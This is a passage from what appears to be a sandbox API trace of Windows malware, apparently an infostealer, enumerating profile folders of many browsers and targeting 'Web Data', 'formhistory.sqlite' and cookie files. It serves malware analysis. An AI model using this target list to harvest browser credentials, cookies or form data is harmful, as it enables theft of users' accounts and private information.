CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.097] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.097] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.097] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0075.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.098] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.098] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.098] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0075.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.098] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.098] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.098] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0075.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.098] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.098] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.098] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0075.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.098] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.098] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.098] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0075.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.099] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.099] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.099] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0075.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.099] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.099] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.099] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0075.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3984c18, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴㉴씺텨\x18\x05") returned 8 [0075.099] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.099] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.099] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0075.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0075.100] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.100] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0075.100] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0075.100] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.100] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0075.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0075.100] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.100] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.100] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0075.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0075.100] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.100] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.100] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0075.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0075.101] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.101] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.101] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0075.101] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452712c, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0075.101] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.101] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.101] CharToOemBuffA (in: lpszSrc="CookieList.txt", lpszDst=0x452e44c, cchDstLength=0xe | out: lpszDst="CookieList.txt") returned 1 [0075.101] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x452e484, Length=0x1c5) returned 0x51ea12c4 [0075.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398492c, cbMultiByte=12, lpWideCharStr=0x18d408, cchWideChar=2047 | out: lpWideCharStr="GoogleChromeections\\Pale Moon\\Profiles\\er Data\\\x18") returned 12 [0075.101] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0075.101] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0075.102] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.102] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0075.102] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0075.102] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="133521", len=0x6 | out: pbstr=0x18e12c*="133521") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="1252", len=0x4 | out: pbstr=0x18e0d0*="1252") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0cc*=0x0, psz="4916", len=0x4 | out: pbstr=0x18e0cc*="4916") returned 